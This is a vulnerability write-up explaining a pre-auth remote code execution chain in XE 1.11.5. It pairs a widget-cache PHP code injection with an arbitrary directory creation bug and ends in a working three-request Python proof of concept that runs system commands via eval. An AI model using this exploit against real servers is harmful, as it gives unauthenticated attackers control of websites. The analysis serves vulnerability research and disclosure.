The Pre-Auth RCE vulnerability consists of two different vulnerabilities. In this post, we will explain the root cause of each vulnerability and the principles that make attacks possible.
The test environment can be set up using the Dockerfile below.
FROM php:7.2-apache
ADD https:
WORKDIR /var/www/html
RUN tar xf xe.1.11.5.tar.gz
RUN chmod 707 /var/www/html
RUN sed -i 's/http:\/\/deb.debian.org\/debian/http:\/\/mirror.kakao.com\/debian/g' /etc/apt/sources.list
RUN apt update && apt -y install libpng-dev default-mysql-server
RUN docker-php-ext-install gd mysqli
RUN a2enmod rewrite
RUN service mysql start
CMD apache2ctl start && /usr/sbin/mysqld --skip-grant-tables --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock
2–1. Lack of Parameter Filtering in Widget Cache Functionality
function dispWidgetInfo()
{
if(Context::get('skin')) return $this->dispWidgetSkinInfo();
$oWidgetModel = getModel('widget');
$widget_info = $oWidgetModel->getWidgetInfo(Context::get('selected_widget'));
Context::set('widget_info', $widget_info);
$this->setLayoutFile('popup_layout');
$this->setTemplateFile('widget_detail_info');
}The widgetModel class is implemented in the modules/widget/widget.view.php. The dispWidgetInfo method of this class is responsible for setting widget properties, and on line 27 of the method code, it calls the getWidgetInfo method from the widget model instance to obtain widget information.
At this point, we can see that the selected_widget parameter value is used as an argument for the method call.
function getWidgetPath($widget_name)
{
$path = sprintf('./widgets/%s/', $widget_name);
if(is_dir($path)) return $path;
return "";
}
function getWidgetInfo($widget)
{
$widget_path = $this->getWidgetPath($widget);
if(!$widget_path) return;
$xml_file = sprintf("%sconf/info.xml", $widget_path);
if(!file_exists($xml_file)) return;
$cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());
if(file_exists($cache_file)&&filemtime($cache_file)>filemtime($xml_file))
{
@include($cache_file);
return $widget_info;
}
$oXmlParser = new XmlParser();
$tmp_xml_obj = $oXmlParser->loadXmlFile($xml_file);
$xml_obj = $tmp_xml_obj->widget;
if(!$xml_obj) return;
$buff = '$widget_info = new stdClass;';
if($xml_obj->version && $xml_obj->attrs->version == '0.2')
{
$buff .= sprintf('$widget_info->widget = "%s";', $widget);
$buff .= sprintf('$widget_info->path = "%s";', $widget_path);
$buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
$buff .= sprintf('$widget_info->description = "%s";', $xml_obj->description->body);
$buff .= sprintf('$widget_info->version = "%s";', $xml_obj->version->body);
sscanf($xml_obj->date->body, '%d-%d-%d', $date_obj->y, $date_obj->m, $date_obj->d);
$date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
$buff .= sprintf('$widget_info->date = "%s";', $date);
$buff .= sprintf('$widget_info->homepage = "%s";', $xml_obj->link->body);
$buff .= sprintf('$widget_info->license = "%s";', $xml_obj->license->body);
$buff .= sprintf('$widget_info->license_link = "%s";', $xml_obj->license->attrs->link);
$buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
$buff .= sprintf('$widget_info->widget_title = $widget_title;');
if(!is_array($xml_obj->author)) $author_list[] = $xml_obj->author;
else $author_list = $xml_obj->author;
for($i=0; $i < count($author_list); $i++)
{
$buff .= '$widget_info->author['.$i.'] = new stdClass;';
$buff .= sprintf('$widget_info->author['.$i.']->name = "%s";', $author_list[$i]->name->body);
$buff .= sprintf('$widget_info->author['.$i.']->email_address = "%s";', $author_list[$i]->attrs->email_address);
$buff .= sprintf('$widget_info->author['.$i.']->homepage = "%s";', $author_list[$i]->attrs->link);
}
}
else
{
$buff .= sprintf('$widget_info->widget = "%s";', $widget);
$buff .= sprintf('$widget_info->path = "%s";', $widget_path);
$buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
$buff .= sprintf('$widget_info->description = "%s";', $xml_obj->author->description->body);
$buff .= sprintf('$widget_info->version = "%s";', $xml_obj->attrs->version);
sscanf($xml_obj->author->attrs->date, '%d. %d. %d', $date_obj->y, $date_obj->m, $date_obj->d);
$date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
$buff .= sprintf('$widget_info->date = "%s";', $date);
$buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
$buff .= sprintf('$widget_info->widget_title = $widget_title;');
$buff .= '$widget_info->author[0] = new stdClass;';
$buff .= sprintf('$widget_info->author[0]->name = "%s";', $xml_obj->author->name->body);
$buff .= sprintf('$widget_info->author[0]->email_address = "%s";', $xml_obj->author->attrs->email_address);
$buff .= sprintf('$widget_info->author[0]->homepage = "%s";', $xml_obj->author->attrs->link);
}
$extra_var_groups = $xml_obj->extra_vars->group;
if(!$extra_var_groups) $extra_var_groups = $xml_obj->extra_vars;
if(!is_array($extra_var_groups)) $extra_var_groups = array($extra_var_groups);
foreach($extra_var_groups as $group)
{
$extra_vars = $group->var;
if(!is_array($group->var)) $extra_vars = array($group->var);
if($extra_vars[0]->attrs->id || $extra_vars[0]->attrs->name)
{
$extra_var_count = count($extra_vars);
$buff .= sprintf('$widget_info->extra_var_count = "%s";', $extra_var_count);
for($i=0;$i<$extra_var_count;$i++)
{
unset($var);
unset($options);
$var = $extra_vars[$i];
$id = $var->attrs->id?$var->attrs->id:$var->attrs->name;
$name = $var->name->body?$var->name->body:$var->title->body;
$type = $var->attrs->type?$var->attrs->type:$var->type->body;
$buff .= sprintf('$widget_info->extra_var->%s = new stdClass;', $id);
if($type =='filebox')
{
$buff .= sprintf('$widget_info->extra_var->%s->filter = "%s";', $id, $var->type->attrs->filter);
$buff .= sprintf('$widget_info->extra_var->%s->allow_multiple = "%s";', $id, $var->type->attrs->allow_multiple);
}
$buff .= sprintf('$widget_info->extra_var->%s->group = "%s";', $id, $group->title->body);
$buff .= sprintf('$widget_info->extra_var->%s->name = "%s";', $id, $name);
$buff .= sprintf('$widget_info->extra_var->%s->type = "%s";', $id, $type);
$buff .= sprintf('$widget_info->extra_var->%s->value = $vars->%s;', $id, $id);
$buff .= sprintf('$widget_info->extra_var->%s->description = "%s";', $id, str_replace('"','\"',$var->description->body));
$options = $var->options;
if(!$options) continue;
if(!is_array($options)) $options = array($options);
$options_count = count($options);
for($j=0;$j<$options_count;$j++)
{
$buff .= sprintf('$widget_info->extra_var->%s->options["%s"] = "%s";', $id, $options[$j]->value->body, $options[$j]->name->body);
if($options[$j]->attrs->default && $options[$j]->attrs->default=='true')
{
$buff .= sprintf('$widget_info->extra_var->%s->default_options["%s"] = true;', $id, $options[$j]->value->body);
}
if($options[$j]->attrs->init && $options[$j]->attrs->init=='true')
{
$buff .= sprintf('$widget_info->extra_var->%s->init_options["%s"] = true;', $id, $options[$j]->value->body);
}
}
}
}
}
$buff = '<?php if(!defined("__XE__")) exit(); '.$buff.' ?>';
FileHandler::writeFile($cache_file, $buff);
if(file_exists($cache_file)) @include($cache_file);
return $widget_info;
}The getWidgetInfo method of the widgetModel class initializes the $widget_path variable by calling the getWidgetPath method implemented in the same source code on line 126. The initialized string is influenced by external input values and takes the form ./widgets/EXTERNAL_INPUT/.
The $widget_path variable initialized using external user input values is used on line 179 of the getWidgetInfo method.
$buff .= sprintf('$widget_info->path = "%s";', $widget_path);This code is responsible for dynamically generating widget cache PHP scripts. If the input value is set to ";MALICIOUS_CODE;#, it becomes $widget_info->path = "";MALICIOUS_CODE;#"; allowing additional PHP code to be inserted into the original code.
However, due to the external input filtering implemented in XE, attacks using the above method are not easily feasible.
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
if(!($isArray = is_array($val)))
{
$val = array($val);
}
$result = array();
foreach($val as $k => $v)
{
$k = escape($k);
if($remove_hack && !is_array($v)) {
if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
{
$result[$k] = escape($v);
continue;
}
}
if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
{
$result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
}
elseif(in_array($key, array('mid','search_keyword','search_target','xe_validator_id'))) {
$result[$k] = escape($v, false);
}
elseif($key === 'vid')
{
$result[$k] = urlencode($v);
}
elseif(stripos($key, 'XE_VALIDATOR', 0) === 0)
{
unset($result[$k]);
}
else
{
$result[$k] = $v;
if($do_stripslashes && version_compare(PHP_VERSION, '5.4.0', '<') && get_magic_quotes_gpc())
{
if (is_array($result[$k]))
{
array_walk_recursive($result[$k], function(&$val) { $val = stripslashes($val); });
}
else
{
$result[$k] = stripslashes($result[$k]);
}
}
if(is_array($result[$k]))
{
array_walk_recursive($result[$k], function(&$val) { $val = trim($val); });
}
else
{
$result[$k] = trim($result[$k]);
}
if($remove_hack)
{
$result[$k] = escape($result[$k], false);
}
}
}
return $isArray ? $result : $result[0];
}The external input filtering code is located in the Context class implemented in the classes/context/Context.class.php. This class is responsible for managing parameters and environment variables.
The _filterRequestVar method of the Context class filters external input values using the escape function.
function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;
$flags = ENT_QUOTES | ENT_SUBSTITUTE;
return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}The escape function is implemented in the config/func.inc.php and blocks dangerous data input using PHP's htmlspecialchars function.
Ultimately, due to the escape function, double quote strings are replaced with HTML Entity values, making it impossible to terminate the original widget cache code with double quotes and add PHP code. However, the escape function filter can be bypassed using PHP's Complex (curly) syntax.
...
function getWidgetPath($widget_name)
{
$path = sprintf('./widgets/%s/', $widget_name);
if(is_dir($path)) return $path;
return "";
}
...
function getWidgetInfo($widget)
{
$widget_path = $this->getWidgetPath($widget);
if(!$widget_path) return;
$xml_file = sprintf("%sconf/info.xml", $widget_path);
if(!file_exists($xml_file)) return;
$cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());
...Beyond filter bypass, another issue exists. The getWidgetInfo method of the widgetModel class calls PHP's is_dir and file_exists functions before executing the widget cache generation code to check if the widget module actually exists.
Therefore, to execute vulnerable code, an additional vulnerability is needed to create a directory named ${MALICIOUS_CODE} at an arbitrary path.
# linux
root@ubuntu:~# cd none_exists/../../../
-bash: cd: none_exists/../../../: No such file or directory
# windows
C:\Users\Administrator>cd none_exists/../../../
C:
However, on Windows systems, Directory Traversal is possible for non-existent directories, making attacks possible without additional vulnerabilities.
2–2. Arbitrary Directory Creation
The rssController class of the vulnerable RSS module is implemented in the modules/rss/rss.controller.php.
function triggerRssUrlInsert()
{
$oModuleModel = getModel('module');
$total_config = $oModuleModel->getModuleConfig('rss');
$current_module_srl = Context::get('module_srl');
$site_module_info = Context::get('site_module_info');
if(is_array($current_module_srl))
{
unset($current_module_srl);
}
if(!$current_module_srl) {
$current_module_info = Context::get('current_module_info');
$current_module_srl = $current_module_info->module_srl;
}
if(!$current_module_srl) return new BaseObject();
$oRssModel = getModel('rss');
$rss_config = $oRssModel->getRssModuleConfig($current_module_srl);
if($rss_config->open_rss != 'N')
{
Context::set('rss_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'rss'));
Context::set('atom_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'atom'));
}
if(Context::isInstalled() && $site_module_info->mid == Context::get('mid') && $total_config->use_total_feed != 'N')
{
if(Context::isAllowRewrite() && !Context::get('vid'))
{
$request_uri = Context::getRequestUri();
Context::set('general_rss_url', $request_uri.'rss');
Context::set('general_atom_url', $request_uri.'atom');
}
else
{
Context::set('general_rss_url', getUrl('','module','rss','act','rss'));
Context::set('general_atom_url', getUrl('','module','rss','act','atom'));
}
}
return new BaseObject();
}The $rss_config variable containing RSS configuration information is initialized on line 43 by calling the getRssModuleConfig method of the RSS model instance, where the $current_module_srl variable used as an argument is the module_srl parameter value.

function writeFile($filename, $buff, $mode = "w")
{
$filename = self::getRealPath($filename);
$pathinfo = pathinfo($filename);
self::makeDir($pathinfo['dirname']);
...function makeDir($path_string)
{
if(self::exists($path_string) !== FALSE)
{
return TRUE;
}
if(!ini_get('safe_mode'))
{
@mkdir($path_string, 0755, TRUE);
@chmod($path_string, 0755);
}
...Later in the code execution flow, external input data reaches PHP's directory creation function mkdir.
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
if(!($isArray = is_array($val)))
{
$val = array($val);
}
$result = array();
foreach($val as $k => $v)
{
$k = escape($k);
if($remove_hack && !is_array($v)) {
if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
{
$result[$k] = escape($v);
continue;
}
}
if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
{
$result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
}
...The Context->_filterRequestVar method that filters external input values based on HTTP requests forcibly converts data to int type when the parameter key ends with srl. This prevents passing arbitrary strings to the mkdir function. If a string is input, it gets replaced with the integer value 0. (line 1423)
However, there exists a logical vulnerability that allows escaping the foreach loop using code on line 1414, which executes before the forced type conversion.
By constructing the module_srl value as Arbitrary_Directory_Path/<script, the continue code on line 1417 is executed, avoiding the forced type conversion code execution and allowing the creation of any desired arbitrary directory.
2–3. PoC
from requests import get
cmd = 'id'
target = 'http://127.0.0.1/'
# step 1 : make directory
# /var/www/html/files/cache/${eval($_GET[0])}
get('{}?mid=board&module_srl=/../../../../../../${{eval($_GET[0])}}/%3Cscript'.format(target))
# step 2 : write cache
# /var/www/html/files/cache/widgets/content.ko.cache.php
get('{}?act=dispWidgetInfo&selected_widget=../files/cache/${{eval($_GET[0])}}/../../../widgets/content'.format(target))
# step 3 : remote code execute
print get('{}?act=dispWidgetInfo&selected_widget=../widgets/content&0=system($_GET[1]);&1={}'.format(target, cmd)).text.split('<!DOCTYPE html>')[0]